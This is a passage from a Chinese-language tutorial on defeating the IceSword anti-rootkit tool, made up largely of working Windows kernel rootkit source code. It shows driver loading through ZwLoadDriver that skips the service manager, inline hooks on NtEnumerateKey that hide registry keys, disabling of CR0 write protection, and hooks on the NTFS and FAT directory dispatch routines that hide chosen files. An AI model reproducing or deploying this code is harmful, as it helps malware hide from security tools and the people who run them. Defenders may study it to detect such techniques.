上面这两个函数中,GetPsLoadedModuleListPtr()是通过特征码搜索获取KdDebuggerDataBlock的位置,使用特征码搜索办法虽然不是很好,但是通用性强。然后再以此获取PsLoadedModuleList地址,RemoveModule()用来实现在PsLoadedModuleList链表中删除自己。在PsLoadedModuleList中定位的方法也是使用上面利用DriverAddr定位。
五、隐藏服务:
普通情况下加载驱动需要 OpenSCManager->CreateService->StartService,这样驱动就会跑到服务管理器中去注册一下自己,并且要隐藏这样加载驱动的服务,不是不行,只是太麻烦而且没效率了。要hook一大堆的服务函数。不过在逆向IS的时候发现了一个不需要去服务管理器注册而直接加载驱动的方法。就是使用ZwLoadDriver(这个函数通常是ring0中加载驱动时用,由于被Ntdll.dll导出,ring3就也能用了)进行直接加载。这样就不用去服务管理器中注册自己,并且这样加载的驱动windows系统工具中的“系统信息”查看器也查不到你,更不用说那些什么服务管理器之类的东东了。屡用不爽。下面介绍一下用法:
1、首先自己在注册表的服务项中添加一个自己的服务名字项。
2、在自己添加的服务名字项中添加一些驱动信息(其实就是手工实现CreateService()函数对注册表的那些操作),这些信息包括“ErrorControl”,“ImagePath”,“Start”,“Type”等等。你要手工设置这些键以及键值。
按上面设置完后,来看看ZwLoadDriver的原形:
NTSTATUS
ZwLoadDriver(
IN PUNICODE_STRING DriverServiceName );
下面的代码给出了ZwLoadDriver的使用例子:
AnotherWayStartService( TCHAR *szDir )
{
HKEY RegKey;
HKEY hLicenses;
DWORD disp;
DWORD ErrorControl=NULL;
DWORD ProcessID;
DWORD Start=3;
DWORD Type=1;
LONG Regrt;
DWORD ZwLoadDriver;
DWORD RtlInitUnicodeString;
UNICODE_STRING RegService;
PCWSTR RegServicePath= L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath";
TCHAR DriverFilePath[MAX_PATH] = "\\??\\";
Regrt = RegOpenKeyEx (
HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services",
0,
KEY_CREATE_SUB_KEY + KEY_SET_VALUE,
&hLicenses );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt=RegCreateKeyEx (
hLicenses,
"neverdeath",
0,
"",
REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS,
NULL,
&RegKey,
&disp );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt = RegOpenKeyEx (
HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services\\neverdeath",
0,
KEY_CREATE_SUB_KEY + KEY_SET_VALUE,
&RegKey );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt = RegSetValueEx (
RegKey,
"ErrorControl",
NULL,
REG_DWORD,
(const unsigned char *)(&ErrorControl),
4 );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
strcat(DriverFilePath, szDir);
Regrt = RegSetValueEx (
RegKey,
"ImagePath",
NULL,
REG_EXPAND_SZ,
(const unsigned char *)(&DriverFilePath),
strlen( DriverFilePath ) );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt = RegSetValueEx (
RegKey,
"Start",
NULL,
REG_DWORD,
(const unsigned char *)(&Start),
4 );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt = RegSetValueEx (
RegKey,
"Type",
NULL,
REG_DWORD,
(const unsigned char *)(&Type),
4 );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
//还记得前面隐藏进程时,我们进程ID是从注册表中取的
//下面就是把进程ID写入注册表,不会影响驱动的加载
ProcessID=GetCurrentProcessId();
Regrt = RegSetValueEx (
RegKey,
"ProcessID",
NULL,
REG_DWORD,
(const unsigned char *)(&ProcessID),
4 );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
CloseHandle( RegKey );
ZwLoadDriver = (DWORD) GetProcAddress (
GetModuleHandle( "ntdll.dll" ),
"ZwLoadDriver" );
RtlInitUnicodeString = (DWORD) GetProcAddress(
GetModuleHandle( "ntdll.dll" ),
"RtlInitUnicodeString" );
_asm
{
pushad
push RegServicePath
lea edi, RegService
push edi
call RtlInitUnicodeString //装载UNICODE字符
lea edi, RegService
push edi
call ZwLoadDriver
popad
}
return true;
}
请注意上面这段代码中加载驱动时所使用的注册表路径格式是:
“\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath”
而不是:
“HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\neverdeath”
也许你已经想到了那么卸载驱动会不会就是函数“ZwUnloadDriver”?自己试一下不就知道了:)
六、隐藏注册表:
IS处理注册表并没有什么新意,就是调用那些ZwCreateKey、ZwOpenKey、ZwQueryKey、ZwSetValueKey一类的注册表操作函数,通过伪造内核文件,所以这部分可以很轻松hook并实现隐藏。IS在这里玩了一个小花样,在XP下,IS会在把从ntoskrnl.exe读到的NtEnumerateKey起始地址的第三个字(注意是字,不是字节!)先加上0xD50后,再进行还原,因此你在伪造内核文件时必须先把自己构造的代码的第三个字减去0xD50后再写入到otoskrnl.exe中,否则就等着BSOD吧。而在2K中就不需要这些操作。这里主要是通过hook注册表函数NtEnumerateKey来隐藏我们注册中的“CurrentControlSet\Services”下的 “neverdeath”项以及“CurrentControlSet\Enum\Root”下的“LEGACY_NEVERDEATH”项。至于隐藏键与键值在这里就不说了,自己随手写一个就是了。顺便提一下,由于windows的regedit也是调用这些函数访问注册表,所以如果你在IS中隐藏了注册表也就等于在windows的regedit中隐藏了。以下代码在XP下测试通过,如要在2K或2K3中运行,请根据需要自己进行取舍。
由于NtEnumerateKey没有被ntoskrnl.exe导出,这里利用
NtEnumerateKey在服务表 偏移 = “NtDuplicateToken”在服务表中的偏移+2
来获取NtEnumerateKey地址。
PCWSTR HideKey = L"neverdeath";
PCWSTR HideKeyLEG = L"LEGACY_NEVERDEATH";
unsigned char ResumCodeNtEnumerateKey[6];
unsigned char CrackCodeNtEnumerateKey[6];
unsigned char CrackCodeNtEnumerateKeyWriteFile[6];
typedef NTSTATUS ( *NTENUMERATEKEY ) (
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_INFORMATION_CLASS KeyInformationClass,
OUT PVOID KeyInformation,
IN ULONG Length,
OUT PULONG ResultLength );
NTENUMERATEKEY OldNtEnumerateKey;
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;
NTSTATUS NewNtEnumerateKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_INFORMATION_CLASS KeyInformationClass,
OUT PVOID KeyInformation,
IN ULONG Length,
OUT PULONG ResultLength )
{
NTSTATUS Status;
PCWSTR KeyNamePtr;
_asm //还原
{
pushad
mov edi, OldNtEnumerateKey
mov eax, dword ptr ResumCodeNtEnumerateKey[0]
mov [edi], eax
mov ax, word ptr ResumCodeNtEnumerateKey[4]
mov [edi+4], ax
popad
}
Status = ZwEnumerateKey (
KeyHandle,
Index,
KeyInformationClass,
KeyInformation,
Length,
ResultLength );
if ( Status == STATUS_SUCCESS )
{
_asm
{
push edi
mov edi, KeyInformation
add edi, 0x10
mov KeyNamePtr, edi
pop edi
}
if ( wcsstr(KeyNamePtr, HideKey)!=NULL || wcsstr(KeyNamePtr, HideKeyLEG) != NULL )
{
Index=Index+1;
Status = OldNtEnumerateKey (
KeyHandle,
Index,
KeyInformationClass,
KeyInformation,
Length,
ResultLength );
}
}
_asm //替换
{
pushad
mov edi, OldNtEnumerateKey
mov eax, dword ptr CrackCodeNtEnumerateKey[0]
mov [edi], eax
mov ax, word ptr CrackCodeNtEnumerateKey[4]
mov [edi+4], ax
popad
}
return Status;
}
NTSTATUS GetOldNtEnumerateKey()
{
DWORD NtDuplicateTokenAddr;
int i=0;
NtDuplicateTokenAddr = GetFunctionAddr( L"NtDuplicateToken" );
if ( NtDuplicateTokenAddr == NULL )
{
DbgPrint("Get NtQuerySystemInformation Addr Error!!");
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
for (;;i++)
{
if ( NtDuplicateTokenAddr == (DWORD)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + i)) )
{
OldNtEnumerateKey = (NTENUMERATEKEY)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + (i+2)));
break;
}
}
return STATUS_SUCCESS;
}
NTSTATUS PatchNtEnumerateKey()
{
NTSTATUS Status;
Status = GetOldNtEnumerateKey();
if ( Status != STATUS_SUCCESS )
{
DbgPrint("Get NtQuerySystemInformation Addr Error!!");
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
_asm //关中断
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
_asm
{
pushad
//获取 NtEnumerateKey 函数的地址并保留该函数的起始六个字节
mov edi, OldNtEnumerateKey
mov eax, [edi]
mov dword ptr ResumCodeNtEnumerateKey[0], eax
mov ax, [edi+4]
mov word ptr ResumCodeNtEnumerateKey[4], ax
//构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtEnumerateKey去执行
mov byte ptr CrackCodeNtEnumerateKey[0], 0x68
mov byte ptr CrackCodeNtEnumerateKeyWriteFile[0],0x68
lea edi, NewNtEnumerateKey
mov dword ptr CrackCodeNtEnumerateKey[1], edi
mov dword ptr CrackCodeNtEnumerateKeyWriteFile[1], edi
mov byte ptr CrackCodeNtEnumerateKey[5], 0xc3
mov byte ptr CrackCodeNtEnumerateKeyWriteFile[5], 0xc3
//把第NtEnumerateKey的第三个字减去D50在送回
mov ax, word ptr CrackCodeNtEnumerateKeyWriteFile[4]
sub ax, 0xD50
mov word ptr CrackCodeNtEnumerateKeyWriteFile[4], ax
//把构造好的代码进行替换
mov edi, OldNtEnumerateKey
mov eax, dword ptr CrackCodeNtEnumerateKey[0]
mov dword ptr[edi], eax
mov ax, word ptr CrackCodeNtEnumerateKey[4]
mov word ptr[edi+4], ax
popad
}
_asm //开中断
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
Status = RepairNtosFile(
(DWORD)OldNtEnumerateKey,
//(DWORD)(&CrackCodeNtEnumerateKey) 2k
(DWORD)(&CrackCodeNtEnumerateKeyWriteFile) ); //XP
return Status;
}
7、隐藏文件:
终于写到隐藏文件,在实现隐藏文件的过程中,越来越欣赏PJF。IS在获取文件列表的过程时,迂回战术简直玩到了另人匪夷所思的地步!我花了很多时间(好几次坐在机子面前十几个小时想的脑袋都绿了却一点收获都没有)才实现了不用IFS,不用attach文件设备直接而进行隐藏,当时我甚至去hook函数IoCallDriver函数(经常看到有些人hook这个函数失败,便造谣此函数不能hook,其实是可以的,但是确实很麻烦,如果你也想试试,为了让你少走弯路,好意提醒一下,请尽最大努力保护好寄存器!)来截获系统所有的IRP包,然后分析,真是差点没把我搞死!
普通情况下,我们是通过发送IRP_MJ_DIRECTORY_CONTROL(0xC)请求给FSD来获取文件列表的。获取后的信息存在IRP->UserBuffer(0x3c)中。但是你会发现IS在获取文件列表时并不发送IRP_MJ_DIRECTORY_CONTROL给FSD,而是发送IRP_MJ_DEVICE_CONTROL(0xE)请求给另外一个不知名设备。并且在该被请求完成后,你在完成的IRP数据中找不到任何有关文件名字的影子。或许你便开始点一只烟,盯着屏幕直发楞,直想:“这怎么可能呢?”(呵呵,也许pjf要的就是这种效果)。
邪恶的微软总是想方设法的企图蒙蔽我们,让我们忽略本质!内核里面的那些什么对象啊、设备啊、这个啊、那个啊、所有乱七八糟的东东,从本质上来讲还不都是一堆代码与数据。IS不发送IRP_MJ_DIRECTORY_CONTROL请求不代表它不会调用这个例程。
我对IS获取文件列表的猜想(IS的anti Debug太强, 为了今年之内把这个搞定,因此没时间再陪它耗下去了):
单独创造一个Device,这个Device的IRP_MJ_DEVICE_CONTROL例程中构造IRP与DEVICE_OBJECT后,直接调用IRP_MJ_DIRECTORY_CONTROL例程,这样就避免了向文件设备发送请求但是还能获取文件列表的目的了。关于在完成后的IRP包中无法获取文件名的功能,其实只要在直接调用IRP_MJ_DIRECTORY_CONTROL例程之后,把IRP->UserBuffer中的内容转移或加个密就轻易实现了。
虽然这只是猜想,但是为了验证我的想法。我单独写了个test证明我的想法是可行的。我不能确定IS就是这样做,但我能确定如果你这样做的话就能达到类似的效果。
IS就是通过设置IO_COMPLETION_ROUTINE函数来第一时间处理完成后的结果,我们下面用的方法就是通过替换这个IO_COMPLETION_ROUTINE来抢先处理结果。我们处理完了再调用IS的IO_COMPLETION_ROUTINE函数。另外要说的是,由于IS用的MinorFunction是IRP_MN_QUERY_DIRECTORY,每次都肯定能返回一个文件名(哪怕已重复出现)。而你在自己的IO_COMPLETION_ROUTINE中如果检测到是自己要隐藏的文件名的话,不能不调用原先IS的IO_COMPLETION_ROUTINE,否则BSOD。因此你只能更改文件属性了,更改文件属性也能达到隐藏的目的。还记不记的以前DOS时代的[.]与[..]文件夹吗(那片笑声让我想起我的那些文件夹)。当返回你要隐藏的文件时信息,把这些信息全都替换成[.]或[..]文件夹属性(当然包括文件名信息了)就行了。
下面的代码先获取FSD设备的IRP_MJ_DIRECTORY_CONTROL分派函数的地址,然后对该函数进行hook。在我们构造的新的IRP_MJ_DIRECTORY_CONTROL分派函数中通过IO_STACK_LOCATION中的Length(+0x4)数值来判断是否时IS(IS的Length很特殊,是0xfe8。平常的都是0x1000),是的话就进行替换IO_COMPLETION_ROUTINE。
下的代码在FAT32、NTFS、NTFS&FAT32中测试通过,在纯Fat中也测试通过。
PCWSTR HideDirectory =L"neverdeath";
PCWSTR HideFile = L"otoskrnl.exe";
DWORD NtfsUserbuf;
DWORD NtfsFileName;
DWORD NtfsLocaIrp;
DWORD FatUserbuf;
DWORD FatFileName;
DWORD FatLocaIrp;
typedef NTSTATUS (*_DISPATCH)
(
IN PDEVICE_OBJECT DeviceObject,
IN OUT PIRP Irp
);
_DISPATCH OldNtfsQueryDirectoryDispatch;
_DISPATCH OldFatQueryDirectoryDispatch;
PIO_COMPLETION_ROUTINE OldNtfsCompletionRuntine;
PIO_COMPLETION_ROUTINE OldFatCompletionRuntine;
NTSTATUS NewNtfsCompletionRuntine(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context )
{
NTSTATUS Status;
_asm
{
pushad
mov edi, NtfsUserbuf
add edi, 0x5e
mov NtfsFileName, edi
popad
}
if ( wcsstr( NtfsFileName, HideDirectory ) || wcsstr( NtfsFileName, HideFile ) )
{
_asm
{
pushad
mov edi,NtfsUserbuf
mov eax, 0x16
mov dword ptr [edi+0x38], eax
mov eax, 0x04
mov dword ptr [edi+0x3c], eax
mov eax, 0x002e002e
mov dword ptr [edi+0x5e], eax
popad
}
}
Status = OldNtfsCompletionRuntine (
DeviceObject,
Irp,
Context );
return Status;
}
NTSTATUS NewFatCompletionRuntine(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context )
{
NTSTATUS Status;
_asm
{
pushad
&, nbsp; mov edi, FatUserbuf
add edi, 0x5e
mov FatFileName, edi
popad
}
if ( wcsstr( FatFileName, HideDirectory ) || wcsstr( FatFileName, HideFile ) )
{
_asm
{
pushad
mov edi,FatUserbuf
mov eax, 0x16
mov dword ptr [edi+0x38], eax
mov eax, 0x04
mov dword ptr [edi+0x3c], eax
mov eax, 0x002e002e
mov dword ptr [edi+0x5e], eax
popad
}
}
Status = OldFatCompletionRuntine (
DeviceObject,
Irp,
Context );
return Status;
}
NTSTATUS NewNtfsQueryDirectoryDispatch (
IN PDEVICE_OBJECT DeviceObject,
IN OUT PIRP Irp )
{
NTSTATUS Status;
DWORD QueryFile;
_asm
{
pushad
mov edi, OldNtfsQueryDirectoryDispatch
mov eax, dword ptr ResumCodeNtfsQueryDirectoryDispatch[0]
mov [edi], eax
mov ax, word ptr ResumCodeNtfsQueryDirectoryDispatch[4]
mov [edi+4], ax
popad
}
_asm
{
pushad
mov edi, Irp
mov eax, [edi+0x60]
mov ecx, [edi+0x3c]
mov edi, [eax+4]
mov QueryFile, edi
mov NtfsUserbuf, ecx
mov NtfsLocaIrp, eax
popad
}
if ( QueryFile == 0xfe8 )
{
_asm
{
pushad
mov edi, NtfsLocaIrp
mov eax, [edi+0x1c]
mov OldNtfsCompletionRuntine, eax
lea eax, NewNtfsCompletionRuntine
mov [edi+0x1c], eax
popad
}
}
Status = OldNtfsQueryDirectoryDispatch (
DeviceObject,
Irp );
_asm
{
pushad
mov edi, OldNtfsQueryDirectoryDispatch
mov eax, dword ptr CrackCodeNtfsQueryDirectoryDispatch[0]
mov [edi], eax
mov ax, word ptr CrackCodeNtfsQueryDirectoryDispatch[4]
mov [edi+4], ax
popad
}
return Status;
}
NTSTATUS NewFatQueryDirectoryDispatch (
IN PDEVICE_OBJECT DeviceObject,
IN OUT PIRP Irp )
{
NTSTATUS Status;
DWORD QueryFile;
_asm
{
pushad
mov edi, OldFatQueryDirectoryDispatch
mov eax, dword ptr ResumCodeFatQueryDirectoryDispatch[0]
mov [edi], eax
mov ax, word ptr ResumCodeFatQueryDirectoryDispatch[4]
mov [edi+4], ax
popad
}
_asm
{
pushad
mov edi, Irp
mov eax, [edi+0x60]
mov ecx, [edi+0x3c]
mov edi, [eax+4]
mov QueryFile, edi
mov FatUserbuf, ecx
mov FatLocaIrp, eax
popad
}
if ( QueryFile == 0xfe8 )
{
_asm
{
pushad
mov edi, FatLocaIrp
mov eax, [edi+0x1c]
mov OldFatCompletionRuntine, eax
lea eax, NewFatCompletionRuntine
mov [edi+0x1c], eax
popad
}
}
Status = OldFatQueryDirectoryDispatch (
DeviceObject,
Irp );
_asm
{
pushad
mov edi, OldFatQueryDirectoryDispatch
mov eax, dword ptr CrackCodeFatQueryDirectoryDispatch[0]
mov [edi], eax
mov ax, word ptr CrackCodeFatQueryDirectoryDispatch[4]
mov [edi+4], ax
popad
}
return Status;
}
NTSTATUS PatchFileSystemDevicePatDispatch()
{
NTSTATUS NtfsStatus;
NTSTATUS FastFatStatus;
UNICODE_STRING FileSystemName;
PVOID FileDeviceObject;
POBJECT_TYPE ObjectType;
DbgPrint("My Driver Loaded!");
RtlInitUnicodeString( &FileSystemName, L"\\FileSystem\\Ntfs" );
NtfsStatus = ObReferenceObjectByName (
&FileSystemName,
0x40,
NULL,
NULL,
&ObjectType,
NULL,
NULL,
&FileDeviceObject );
if ( NtfsStatus == STATUS_SUCCESS )
{
_asm
{
pushad
mov edi, FileDeviceObject
mov eax, [edi+0x68]
mov OldNtfsQueryDirectoryDispatch, eax
popad
}
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
_asm
{
pushad
mov edi, OldNtfsQueryDirectoryDispatch
mov eax, [edi]
mov dword ptr ResumCodeNtfsQueryDirectoryDispatch[0], eax
mov ax, [edi+4]
mov word ptr ResumCodeNtfsQueryDirectoryDispatch[4], ax
mov byte ptr CrackCodeNtfsQueryDirectoryDispatch[0], 0x68
lea edi, NewNtfsQueryDirectoryDispatch
mov dword ptr CrackCodeNtfsQueryDirectoryDispatch[1], edi
mov byte ptr CrackCodeNtfsQueryDirectoryDispatch[5], 0xC3
mov edi, OldNtfsQueryDirectoryDispatch
mov eax, dword ptr CrackCodeNtfsQueryDirectoryDispatch[0]
mov dword ptr[edi], eax
mov ax, word ptr CrackCodeNtfsQueryDirectoryDispatch[4]
mov word ptr[edi+4], ax
popad
}
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
}
RtlInitUnicodeString( &FileSystemName, L"\\FileSystem\\Fastfat" );
FastFatStatus = ObReferenceObjectByName (
&FileSystemName,
0x40,
NULL,
NULL,
&ObjectType,
NULL,
NULL,
&FileDeviceObject );
if ( FastFatStatus == STATUS_SUCCESS )
{
_asm
{
pushad
mov edi, FileDeviceObject
mov eax, [edi+0x68]
mov OldFatQueryDirectoryDispatch, eax
popad
}
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
_asm
{
pushad
mov edi, OldFatQueryDirectoryDispatch
mov eax, [edi]
mov dword ptr ResumCodeFatQueryDirectoryDispatch[0], eax
mov ax, [edi+4]
mov word ptr ResumCodeFatQueryDirectoryDispatch[4], ax
mov byte ptr CrackCodeFatQueryDirectoryDispatch[0], 0x68
lea edi, NewFatQueryDirectoryDispatch
mov dword ptr CrackCodeFatQueryDirectoryDispatch[1], edi
mov byte ptr CrackCodeFatQueryDirectoryDispatch[5], 0xC3
mov edi, OldFatQueryDirectoryDispatch
mov eax, dword ptr CrackCodeFatQueryDirectoryDispatch[0]
mov dword ptr[edi], eax
mov ax, word ptr CrackCodeFatQueryDirectoryDispatch[4]
mov word ptr[edi+4], ax
popad
}
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
}
return ( NtfsStatus & FastFatStatus );
}
以上代码只能实现在IS中隐藏文件,如果要想在普通情况下隐藏文件,可以hook服务表中的函数,也可以在上面构造新的分派函数中增加一些选择项就是了。但是记得hook服务表中的函数别忘了把构造后的数据写入otoskrnl.exe中,免得IS启动时失效。
八、关于端口:
感觉是该停止的时候了,如果把这个也搞出来并且本文被灰鸽子作者之流A进他的作品的话,那就违背我的本意并且我的心也会也会难受的。因此就在这里止步吧! 呵呵,今年我想要学的东西,想要做的事情也都做完了。可以好好回去过年了。爽啊!最后祝各位圣诞快乐!特别时那些他乡的游子。记得打个电话回去问候哟!
参考文章:
wuyanfeng 《icesword 驱动部分分析》 //呵呵,希望大家给国产调试器一些支持 !!
tombkeeper 《获取Windows 系统的内核变量》 http://www.xfocus.net/articles/200408/724.html
JIURL 《IRP 乱杂谈》 http://jiurl.yeah.net/
JIURL 《JIURL玩玩Win2k进程线程篇 HANDLE_TABLE》http://jiurl.yeah.net/
JIURL 《JIURL玩玩Win2k 对象》 http://jiurl.yeah.net/
sinister 《隐藏任意进程,目录/文件,注册表,端口》
能记得住的文章就这几个了